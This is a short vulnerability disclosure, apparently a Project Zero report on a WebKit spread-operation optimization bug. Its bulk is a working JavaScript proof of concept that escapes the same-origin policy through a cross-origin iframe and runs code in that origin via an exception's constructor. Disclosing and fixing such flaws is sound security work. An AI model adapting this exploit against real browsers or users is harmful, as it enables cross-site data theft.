Reported by lokihardt@google.com, Jan 20 2017
Once a spread operation is optimized, the function |operationSpreadGeneric| will be called from then on. But operationSpreadGeneric's trying to get a JSGlobalObject from the argument of a spread operation.
It seems that that optimization is not implemented to the release version of Safari yet.
Tested on the Nighly 10.0.2(12602.3.12.0.1, r210957)
PoC:
<body>
<script>
'use strict';
function spread(a) {
return [...a];
}
let arr = Object.create([1, 2, 3, 4]);
for (let i = 0; i < 0x10000; i++) {
spread(arr);
}
let f = document.body.appendChild(document.createElement('iframe'));
f.onload = () => {
f.onload = null;
try {
spread(f.contentWindow);
} catch (e) {
e.constructor.constructor('alert(location)')();
}
};
f.src = 'https://abc.xyz/';
</script>
</body>
Link: https://bugs.chromium.org/p/project-zero/issues/detail?id=1094